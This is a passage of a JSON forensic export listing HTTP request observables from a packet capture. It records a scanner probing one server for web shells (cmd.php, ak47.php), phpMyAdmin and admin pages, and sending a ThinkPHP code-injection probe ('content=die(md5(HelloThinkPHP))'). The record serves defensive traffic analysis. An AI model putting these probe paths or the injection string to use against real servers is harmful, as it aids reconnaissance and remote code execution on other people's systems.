      },
      {
        "observable_id": "observable-fed281a1026f19805fa44534",
        "type": "url",
        "value": "http://128.199.64.235/admin/pma/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2120,
            "display_filter": "frame.number == 2120",
            "timestamp_epoch": "1577256354.091481000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2374f71c66bdc259b6860211",
        "type": "url",
        "value": "http://128.199.64.235/admin/PMA/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2123,
            "display_filter": "frame.number == 2123",
            "timestamp_epoch": "1577256355.020268000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-bb6246ac5e6e6cbad434403c",
        "type": "url",
        "value": "http://128.199.64.235/admin1.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 805,
            "display_filter": "frame.number == 805",
            "timestamp_epoch": "1577255710.705950000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-5d08a5f504b6c192070a0794",
        "type": "url",
        "value": "http://128.199.64.235/Admin1f768268/Login.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 18,
            "display_filter": "frame.number == 18",
            "timestamp_epoch": "1577255332.751059000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0e686e9b4f3243d07dd044d8",
        "type": "url",
        "value": "http://128.199.64.235/Administrator.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 59,
            "frame_number": 1860,
            "display_filter": "frame.number == 1860",
            "timestamp_epoch": "1577256205.966116000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0818572dcc127022d1f7cea5",
        "type": "url",
        "value": "http://128.199.64.235/admn.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1629,
            "display_filter": "frame.number == 1629",
            "timestamp_epoch": "1577256105.604777000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-eaf2be688102d2bb7b27d626",
        "type": "url",
        "value": "http://128.199.64.235/afafaf.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 45,
            "frame_number": 1408,
            "display_filter": "frame.number == 1408",
            "timestamp_epoch": "1577255994.945833000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-3f191dd8bdd0750d0414dc22",
        "type": "url",
        "value": "http://128.199.64.235/ag.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 28,
            "frame_number": 899,
            "display_filter": "frame.number == 899",
            "timestamp_epoch": "1577255761.724165000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-16b4fade2ab6e99701075919",
        "type": "url",
        "value": "http://128.199.64.235/ak.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 437,
            "display_filter": "frame.number == 437",
            "timestamp_epoch": "1577255498.895476000"
          },
          {
            "tcp_stream": 36,
            "frame_number": 1265,
            "display_filter": "frame.number == 1265",
            "timestamp_epoch": "1577255902.352582000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e13386c3a6a49de3f6df57aa",
        "type": "url",
        "value": "http://128.199.64.235/ak47.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1122,
            "display_filter": "frame.number == 1122",
            "timestamp_epoch": "1577255826.398833000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f118fb4496ee86de24a65888",
        "type": "url",
        "value": "http://128.199.64.235/ak48.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1125,
            "display_filter": "frame.number == 1125",
            "timestamp_epoch": "1577255827.233231000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-5b95341393dddd9e52cd46ec",
        "type": "url",
        "value": "http://128.199.64.235/Alarg53.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1057,
            "display_filter": "frame.number == 1057",
            "timestamp_epoch": "1577255806.715336000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-43df6aed7016675c118296ec",
        "type": "url",
        "value": "http://128.199.64.235/angge.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1764,
            "display_filter": "frame.number == 1764",
            "timestamp_epoch": "1577256173.670844000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-83a0dbab7415687193006e1a",
        "type": "url",
        "value": "http://128.199.64.235/aotu.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 34,
            "frame_number": 1183,
            "display_filter": "frame.number == 1183",
            "timestamp_epoch": "1577255863.983664000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-1827ca5237782cc7387a27d4",
        "type": "url",
        "value": "http://128.199.64.235/aotu7.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 34,
            "frame_number": 1186,
            "display_filter": "frame.number == 1186",
            "timestamp_epoch": "1577255864.247618000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-3fdaf9a5ab0b90b8f1a75e0d",
        "type": "url",
        "value": "http://128.199.64.235/api.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1616,
            "display_filter": "frame.number == 1616",
            "timestamp_epoch": "1577256097.440516000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-48a9d1362c5e65a94a7ad86a",
        "type": "url",
        "value": "http://128.199.64.235/app.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 744,
            "display_filter": "frame.number == 744",
            "timestamp_epoch": "1577255682.024507000"
          },
          {
            "tcp_stream": 43,
            "frame_number": 1346,
            "display_filter": "frame.number == 1346",
            "timestamp_epoch": "1577255963.962886000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ede45a922186440f7c228881",
        "type": "url",
        "value": "http://128.199.64.235/App/?content=die(md5(HelloThinkPHP))",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 270,
            "display_filter": "frame.number == 270",
            "timestamp_epoch": "1577255406.952917000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f0cdd76b45033c7563afc6bb",
        "type": "url",
        "value": "http://128.199.64.235/appserv.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 208,
            "display_filter": "frame.number == 208",
            "timestamp_epoch": "1577255397.610060000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-fd37da0177459399fcc39718",
        "type": "url",
        "value": "http://128.199.64.235/asjc.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 987,
            "display_filter": "frame.number == 987",
            "timestamp_epoch": "1577255789.695421000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-12d72eff10367a51b2cc07b6",
        "type": "url",
        "value": "http://128.199.64.235/avast.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 2008,
            "display_filter": "frame.number == 2008",
            "timestamp_epoch": "1577256289.264662000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ce41b98228208ebfc363ebfa",
        "type": "url",
        "value": "http://128.199.64.235/aw.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1249,
            "display_filter": "frame.number == 1249",
            "timestamp_epoch": "1577255887.236182000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-3f0f2cb65c4759bf7476bf1b",
        "type": "url",
        "value": "http://128.199.64.235/b.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 127,
            "display_filter": "frame.number == 127",
            "timestamp_epoch": "1577255372.740954000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2b16cf5aa6be53e1406e0528",
        "type": "url",
        "value": "http://128.199.64.235/baidoubi.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 441,
            "display_filter": "frame.number == 441",
            "timestamp_epoch": "1577255500.840042000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d3d25fbea81b76a73daa3168",
        "type": "url",
        "value": "http://128.199.64.235/bak.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1202,
            "display_filter": "frame.number == 1202",
            "timestamp_epoch": "1577255870.473468000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7c59b20465f3749a993df283",
        "type": "url",
        "value": "http://128.199.64.235/bbq.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 23,
            "frame_number": 699,
            "display_filter": "frame.number == 699",
            "timestamp_epoch": "1577255662.779024000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-5b3dce02380e24ae0358428f",
        "type": "url",
        "value": "http://128.199.64.235/bbqq.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 776,
            "display_filter": "frame.number == 776",
            "timestamp_epoch": "1577255692.262997000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b33c0235082e59cd45053c9f",
        "type": "url",
        "value": "http://128.199.64.235/bbr.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 747,
            "display_filter": "frame.number == 747",
            "timestamp_epoch": "1577255682.318117000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a4e207fe3a17bc572c940880",
        "type": "url",
        "value": "http://128.199.64.235/bbs.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 2,
            "frame_number": 44,
            "display_filter": "frame.number == 44",
            "timestamp_epoch": "1577255346.055130000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-507e0cfb8903c496bd1bb31e",
        "type": "url",
        "value": "http://128.199.64.235/bbs/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 2,
            "frame_number": 55,
            "display_filter": "frame.number == 55",
            "timestamp_epoch": "1577255353.337526000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-bb69c125ed3399771856ac18",
        "type": "url",
        "value": "http://128.199.64.235/bbv.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 799,
            "display_filter": "frame.number == 799",
            "timestamp_epoch": "1577255707.428514000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4051f0d67938b6846d2c8b59",
        "type": "url",
        "value": "http://128.199.64.235/beimeng.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 43,
            "frame_number": 1360,
            "display_filter": "frame.number == 1360",
            "timestamp_epoch": "1577255966.525930000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-691c583fa1892f4f2805f84d",
        "type": "url",
        "value": "http://128.199.64.235/boots.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 46,
            "frame_number": 1428,
            "display_filter": "frame.number == 1428",
            "timestamp_epoch": "1577256009.397980000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f3abaa74442c946f393aa3a5",
        "type": "url",
        "value": "http://128.199.64.235/bx.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 1989,
            "display_filter": "frame.number == 1989",
            "timestamp_epoch": "1577256279.874395000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4734c66c871da961521bbb9c",
        "type": "url",
        "value": "http://128.199.64.235/cacti/plugins/weathermap/editor.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 258,
            "display_filter": "frame.number == 258",
            "timestamp_epoch": "1577255405.836615000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0eca3fd92f8733f190f2dff7",
        "type": "url",
        "value": "http://128.199.64.235/cainiao.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 34,
            "frame_number": 1173,
            "display_filter": "frame.number == 1173",
            "timestamp_epoch": "1577255858.374202000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-cd7be261015809f8fb6e3f3c",
        "type": "url",
        "value": "http://128.199.64.235/caonma.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 49,
            "frame_number": 1452,
            "display_filter": "frame.number == 1452",
            "timestamp_epoch": "1577256034.133587000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e5b345b7077d6330e53bdc8e",
        "type": "url",
        "value": "http://128.199.64.235/cc.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 942,
            "display_filter": "frame.number == 942",
            "timestamp_epoch": "1577255778.226518000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-33725fd1e8abd51421bd1994",
        "type": "url",
        "value": "http://128.199.64.235/CC.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 57,
            "frame_number": 1824,
            "display_filter": "frame.number == 1824",
            "timestamp_epoch": "1577256198.061693000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-936e65a9f53b1f5e6b521c81",
        "type": "url",
        "value": "http://128.199.64.235/CCC.PHP",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 1998,
            "display_filter": "frame.number == 1998",
            "timestamp_epoch": "1577256281.286066000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-297f266ceb597c0c1156a887",
        "type": "url",
        "value": "http://128.199.64.235/CCCC.PHP",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 2001,
            "display_filter": "frame.number == 2001",
            "timestamp_epoch": "1577256282.452070000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0b4ce8ec89a293181d5ea143",
        "type": "url",
        "value": "http://128.199.64.235/cer.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 59,
            "frame_number": 1851,
            "display_filter": "frame.number == 1851",
            "timestamp_epoch": "1577256204.372043000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-c954dc83d90b81173f012577",
        "type": "url",
        "value": "http://128.199.64.235/cere.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 59,
            "frame_number": 1854,
            "display_filter": "frame.number == 1854",
            "timestamp_epoch": "1577256205.442753000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-be65721204761d4423163fa0",
        "type": "url",
        "value": "http://128.199.64.235/ceshi.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 43,
            "frame_number": 1376,
            "display_filter": "frame.number == 1376",
            "timestamp_epoch": "1577255975.412907000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-57600e4195684a5dcbb03f8e",
        "type": "url",
        "value": "http://128.199.64.235/chaoda.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1926,
            "display_filter": "frame.number == 1926",
            "timestamp_epoch": "1577256243.251347000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a1790e0c8de8c4cf9ffd38d8",
        "type": "url",
        "value": "http://128.199.64.235/claroline/phpMyAdmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2225,
            "display_filter": "frame.number == 2225",
            "timestamp_epoch": "1577256380.797739000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6bd0cd4e3338090976dfa332",
        "type": "url",
        "value": "http://128.199.64.235/cmd.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 190,
            "display_filter": "frame.number == 190",
            "timestamp_epoch": "1577255393.789840000"
          },
          {
            "tcp_stream": 5,
            "frame_number": 202,
            "display_filter": "frame.number == 202",
            "timestamp_epoch": "1577255396.209008000"
          },
          {
            "tcp_stream": 34,
            "frame_number": 1189,
            "display_filter": "frame.number == 1189",
            "timestamp_epoch": "1577255864.511403000"
          },
          {
            "tcp_stream": 34,
            "frame_number": 1192,
            "display_filter": "frame.number == 1192",
            "timestamp_epoch": "1577255864.775178000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-56ca6d33103d3d8aae643d70",
        "type": "url",
        "value": "http://128.199.64.235/cmdd.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 196,
            "display_filter": "frame.number == 196",
            "timestamp_epoch": "1577255395.039685000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-03d3b739cd2cab55f62b5286",
        "type": "url",
        "value": "http://128.199.64.235/cmv.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 193,
            "display_filter": "frame.number == 193",
            "timestamp_epoch": "1577255394.762706000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4e9ae2cea4cb2c165c8f3df8",
        "type": "url",
        "value": "http://128.199.64.235/composer.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 6,
            "frame_number": 338,
            "display_filter": "frame.number == 338",
            "timestamp_epoch": "1577255438.247035000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f80f0b3c6f2ee3b9258cfc53",
        "type": "url",
        "value": "http://128.199.64.235/composers.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 6,
            "frame_number": 332,
            "display_filter": "frame.number == 332",
            "timestamp_epoch": "1577255435.674209000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-36a0f00bd5216ec39aa62ca5",
        "type": "url",
        "value": "http://128.199.64.235/conf.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1015,
            "display_filter": "frame.number == 1015",
            "timestamp_epoch": "1577255797.828811000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1678,
            "display_filter": "frame.number == 1678",
            "timestamp_epoch": "1577256136.344183000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f760c2b32f6fb0412a855f00",
        "type": "url",
        "value": "http://128.199.64.235/conf1g.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 51,
            "frame_number": 1526,
            "display_filter": "frame.number == 1526",
            "timestamp_epoch": "1577256067.806986000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
